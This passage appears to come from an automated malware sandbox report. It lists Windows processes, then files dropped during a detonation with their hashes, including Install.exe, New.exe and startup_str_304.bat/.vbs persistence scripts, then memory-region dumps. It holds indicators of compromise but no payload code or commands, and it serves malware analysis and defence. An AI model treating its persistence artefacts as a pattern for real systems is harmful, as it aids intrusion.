                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                        PID:4728
                                                                                                                      • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
                                                                                                                        C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
                                                                                                                        1⤵
                                                                                                                          PID:1920
                                                                                                                        • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                          "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                          1⤵
                                                                                                                            PID:2180
                                                                                                                          • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                            "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                            1⤵
                                                                                                                              PID:2020
                                                                                                                            • C:\Windows\system32\BackgroundTransferHost.exe
                                                                                                                              "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                                                                                                                              1⤵
                                                                                                                                PID:1224
                                                                                                                              • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                1⤵
                                                                                                                                  PID:1628

                                                                                                                                Network

                                                                                                                                MITRE ATT&CK Enterprise v15

                                                                                                                                Replay Monitor

                                                                                                                                Loading Replay Monitor...

                                                                                                                                Downloads

                                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                                  Filesize

                                                                                                                                  2KB

                                                                                                                                  MD5

                                                                                                                                  9751fcb3d8dc82d33d50eebe53abe314

                                                                                                                                  SHA1

                                                                                                                                  7a680212700a5d9f3ca67c81e0e243834387c20c

                                                                                                                                  SHA256

                                                                                                                                  ad2e3139aa438f799c4a876ca3e64af772b8a5786149925a08389723e42394d7

                                                                                                                                  SHA512

                                                                                                                                  54907cc18684ff892b737496183ca60c788d8f5d76365586954f269dbd50ac1b9cd48c7c50bd6ca02009e6020fd77a8282c9a7ad6b824a20585c505bd7e13709

                                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                  Filesize

                                                                                                                                  17KB

                                                                                                                                  MD5

                                                                                                                                  c0b0d5740c728811b626246245157a01

                                                                                                                                  SHA1

                                                                                                                                  41e2809c946bd980edb1ad3527a4d4120a1e5041

                                                                                                                                  SHA256

                                                                                                                                  d9c86b96253acf7986a6672ba0c2d75f9a263e0034735fce4a554195c488787e

                                                                                                                                  SHA512

                                                                                                                                  b8fd9cf8ff0060e6f13dbeb9de043d8db998bb8227e77d7c97e4547f79019476d09ea4bd9831f49e3044e7fb3892f3a0007c48f704a2874b2669f586960b6753

                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Install.exe

                                                                                                                                  Filesize

                                                                                                                                  163KB

                                                                                                                                  MD5

                                                                                                                                  b51552b77057c2405f73bbbf9c89234a

                                                                                                                                  SHA1

                                                                                                                                  4793adbba023f90d2d2ad0ec55199c56de815224

                                                                                                                                  SHA256

                                                                                                                                  720e6962d75e37e8b47b160c5b3f60433a341f00abf60041630116b26858fbb0

                                                                                                                                  SHA512

                                                                                                                                  564f4104e6e398eeef8acc7ce7cab694b6eebbe4233b7cb359829242b949dc7c5bf124a550a4d0402eb7da19b8bec6c1f6753563b17a8ae36fb639be595b8d66

                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\New.exe

                                                                                                                                  Filesize

                                                                                                                                  409KB

                                                                                                                                  MD5

                                                                                                                                  cf570b21f42f0ce411b7c9961068931e

                                                                                                                                  SHA1

                                                                                                                                  f92aa688a1dbd64a4585ecfe80a9c2d7f408c57d

                                                                                                                                  SHA256

                                                                                                                                  d0c4045c70a0822806a4e56d7883821cd2c19362f1cfed3bcbdb1e1b8eb15234

                                                                                                                                  SHA512

                                                                                                                                  de9dce8300656cd8531569011d043373193cbda125b738e66a5bf107178b48781d6dc88eea696b2074c352a1bf56a4693cfae62e668993ac24ce18aebfdcd684

                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vmppnll5.tex.ps1

                                                                                                                                  Filesize

                                                                                                                                  60B

                                                                                                                                  MD5

                                                                                                                                  d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                  SHA1

                                                                                                                                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                  SHA256

                                                                                                                                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                  SHA512

                                                                                                                                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                • C:\Users\Admin\AppData\Roaming\startup_str_304.bat

                                                                                                                                  Filesize

                                                                                                                                  1002KB

                                                                                                                                  MD5

                                                                                                                                  f6d5bfaee8a55ff72c7b453fda066d62

                                                                                                                                  SHA1

                                                                                                                                  7d737d53013990e5d05076b7206e43eb4793fc7f

                                                                                                                                  SHA256

                                                                                                                                  3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308

                                                                                                                                  SHA512

                                                                                                                                  e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284

                                                                                                                                • C:\Users\Admin\AppData\Roaming\startup_str_304.vbs

                                                                                                                                  Filesize

                                                                                                                                  115B

                                                                                                                                  MD5

                                                                                                                                  81da365aa76317e9b22964eae9e17e03

                                                                                                                                  SHA1

                                                                                                                                  74571895181418b02882bf5953d84f51c67967dc

                                                                                                                                  SHA256

                                                                                                                                  87e3096b997a6645598fe6f0b79a13055527e26876b4d7ae81c8dfd3a7d769f8

                                                                                                                                  SHA512

                                                                                                                                  544b1ff83dcf700fafb75ffe9e708fb1818d2e1d548371260541344a0cf15fd6100c92c4e52d903bb3e6921ce0c4b5a19466e804cb0826afb7012b5f54a23f09

                                                                                                                                • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                                  Filesize

                                                                                                                                  2KB

                                                                                                                                  MD5

                                                                                                                                  8abf2d6067c6f3191a015f84aa9b6efe

                                                                                                                                  SHA1

                                                                                                                                  98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

                                                                                                                                  SHA256

                                                                                                                                  ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

                                                                                                                                  SHA512

                                                                                                                                  c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

                                                                                                                                • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                                  Filesize

                                                                                                                                  2KB

                                                                                                                                  MD5

                                                                                                                                  f313c5b4f95605026428425586317353

                                                                                                                                  SHA1

                                                                                                                                  06be66fa06e1cffc54459c38d3d258f46669d01a

                                                                                                                                  SHA256

                                                                                                                                  129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

                                                                                                                                  SHA512

                                                                                                                                  b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

                                                                                                                                • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                                  Filesize

                                                                                                                                  2KB

                                                                                                                                  MD5

                                                                                                                                  ceb7caa4e9c4b8d760dbf7e9e5ca44c5

                                                                                                                                  SHA1

                                                                                                                                  a3879621f9493414d497ea6d70fbf17e283d5c08

                                                                                                                                  SHA256

                                                                                                                                  98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

                                                                                                                                  SHA512

                                                                                                                                  1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

                                                                                                                                • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                                  Filesize

                                                                                                                                  2KB

                                                                                                                                  MD5

                                                                                                                                  7d612892b20e70250dbd00d0cdd4f09b

                                                                                                                                  SHA1

                                                                                                                                  63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

                                                                                                                                  SHA256

                                                                                                                                  727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

                                                                                                                                  SHA512

                                                                                                                                  f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

                                                                                                                                • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                                  Filesize

                                                                                                                                  2KB

                                                                                                                                  MD5

                                                                                                                                  1e8e2076314d54dd72e7ee09ff8a52ab

                                                                                                                                  SHA1

                                                                                                                                  5fd0a67671430f66237f483eef39ff599b892272

                                                                                                                                  SHA256

                                                                                                                                  55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

                                                                                                                                  SHA512

                                                                                                                                  5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

                                                                                                                                • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                                  Filesize

                                                                                                                                  2KB

                                                                                                                                  MD5

                                                                                                                                  0b990e24f1e839462c0ac35fef1d119e

                                                                                                                                  SHA1

                                                                                                                                  9e17905f8f68f9ce0a2024d57b537aa8b39c6708

                                                                                                                                  SHA256

                                                                                                                                  a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

                                                                                                                                  SHA512

                                                                                                                                  c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

                                                                                                                                • memory/380-165-0x000002018CA40000-0x000002018CA6A000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  168KB

                                                                                                                                • memory/380-170-0x000002018CA40000-0x000002018CA6A000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  168KB

                                                                                                                                • memory/380-171-0x00007FFEC8050000-0x00007FFEC8060000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  64KB

                                                                                                                                • memory/616-136-0x000001B747050000-0x000001B74707A000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  168KB

                                                                                                                                • memory/616-141-0x00007FFEC8050000-0x00007FFEC8060000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  64KB

                                                                                                                                • memory/616-140-0x000001B747050000-0x000001B74707A000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  168KB

                                                                                                                                • memory/616-134-0x000001B747050000-0x000001B74707A000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  168KB

                                                                                                                                • memory/616-133-0x000001B747020000-0x000001B747045000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  148KB

                                                                                                                                • memory/676-151-0x00007FFEC8050000-0x00007FFEC8060000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  64KB

                                                                                                                                • memory/676-150-0x000001708BF20000-0x000001708BF4A000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  168KB

                                                                                                                                • memory/676-145-0x000001708BF20000-0x000001708BF4A000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  168KB

                                                                                                                                • memory/692-175-0x000002624F4E0000-0x000002624F50A000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  168KB

                                                                                                                                • memory/692-180-0x000002624F4E0000-0x000002624F50A000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  168KB

                                                                                                                                • memory/692-181-0x00007FFEC8050000-0x00007FFEC8060000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  64KB

                                                                                                                                • memory/960-155-0x000001C13EE10000-0x000001C13EE3A000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  168KB

                                                                                                                                • memory/960-160-0x000001C13EE10000-0x000001C13EE3A000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  168KB

                                                                                                                                • memory/960-161-0x00007FFEC8050000-0x00007FFEC8060000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  64KB

                                                                                                                                • memory/2260-128-0x00007FFF07FD0000-0x00007FFF081C5000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  2.0MB

                                                                                                                                • memory/2260-130-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  32KB

                                                                                                                                • memory/2260-129-0x00007FFF06EC0000-0x00007FFF06F7E000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  760KB

                                                                                                                                • memory/2260-120-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  32KB

                                                                                                                                • memory/2260-127-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  32KB

                                                                                                                                • memory/2260-121-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  32KB

                                                                                                                                • memory/2260-122-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  32KB

                                                                                                                                • memory/2260-123-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  32KB

                                                                                                                                • memory/2264-106-0x0000017EB5D10000-0x0000017EB5D32000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  136KB

                                                                                                                                • memory/2264-119-0x00007FFF06EC0000-0x00007FFF06F7E000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  760KB

                                                                                                                                • memory/2264-118-0x00007FFF07FD0000-0x00007FFF081C5000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  2.0MB

                                                                                                                                • memory/2264-117-0x0000017ECE5A0000-0x0000017ECE5CA000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  168KB

                                                                                                                                • memory/3308-81-0x0000000008CB0000-0x0000000008D1C000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  432KB

                                                                                                                                • memory/3308-105-0x000000000AE90000-0x000000000AE9A000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  40KB

                                                                                                                                • memory/3308-103-0x000000000AD80000-0x000000000ADBC000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  240KB

                                                                                                                                • memory/3308-102-0x00000000089F0000-0x0000000008A02000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  72KB

                                                                                                                                • memory/3308-82-0x0000000008DE0000-0x0000000008E72000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  584KB

                                                                                                                                • memory/3956-26-0x00000000746F0000-0x0000000074EA0000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  7.7MB

                                                                                                                                • memory/3956-55-0x00000000746F0000-0x0000000074EA0000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  7.7MB

                                                                                                                                • memory/3956-50-0x0000000006FC0000-0x0000000007063000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  652KB

                                                                                                                                • memory/3956-48-0x0000000006D50000-0x0000000006D6E000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  120KB

                                                                                                                                • memory/3956-51-0x00000000746F0000-0x0000000074EA0000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  7.7MB

                                                                                                                                • memory/3956-27-0x00000000746F0000-0x0000000074EA0000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  7.7MB

                                                                                                                                • memory/3956-38-0x0000000070510000-0x000000007055C000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  304KB

                                                                                                                                • memory/3956-37-0x0000000006D70000-0x0000000006DA2000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  200KB

                                                                                                                                • memory/3956-52-0x0000000007190000-0x000000000719A000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  40KB

                                                                                                                                • memory/3956-53-0x00000000073A0000-0x0000000007436000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  600KB

                                                                                                                                • memory/3956-54-0x0000000007320000-0x0000000007331000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  68KB

                                                                                                                                • memory/3956-49-0x00000000746F0000-0x0000000074EA0000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  7.7MB

                                                                                                                                • memory/3956-58-0x00000000746F0000-0x0000000074EA0000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  7.7MB

                                                                                                                                • memory/4528-23-0x0000000008540000-0x0000000008632000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  968KB

                                                                                                                                • memory/4528-18-0x00000000062B0000-0x00000000062CE000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  120KB

                                                                                                                                • memory/4528-0-0x00000000746FE000-0x00000000746FF000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  4KB

                                                                                                                                • memory/4528-22-0x0000000006830000-0x0000000006838000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  32KB

                                                                                                                                • memory/4528-20-0x0000000008B40000-0x00000000091BA000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  6.5MB

                                                                                                                                • memory/4528-19-0x0000000006300000-0x000000000634C000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  304KB

                                                                                                                                • memory/4528-1-0x0000000004E10000-0x0000000004E46000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  216KB

                                                                                                                                • memory/4528-83-0x00000000746F0000-0x0000000074EA0000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  7.7MB

                                                                                                                                • memory/4528-24-0x000000000A770000-0x000000000AD14000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  5.6MB

                                                                                                                                • memory/4528-21-0x00000000068A0000-0x00000000068BA000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  104KB

                                                                                                                                • memory/4528-17-0x0000000005DB0000-0x0000000006104000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  3.3MB

                                                                                                                                • memory/4528-6-0x0000000005CD0000-0x0000000005D36000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  408KB

                                                                                                                                • memory/4528-7-0x0000000005D40000-0x0000000005DA6000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  408KB

                                                                                                                                • memory/4528-5-0x0000000005AB0000-0x0000000005AD2000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  136KB

                                                                                                                                • memory/4528-4-0x00000000746F0000-0x0000000074EA0000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  7.7MB

                                                                                                                                • memory/4528-2-0x00000000746F0000-0x0000000074EA0000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  7.7MB

                                                                                                                                • memory/4528-3-0x0000000005480000-0x0000000005AA8000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  6.2MB

                                                                                                                                • memory/4856-101-0x0000000000DF0000-0x0000000000E5C000-memory.dmp

                                                                                                                                  Filesize

                                                                                                                                  432KB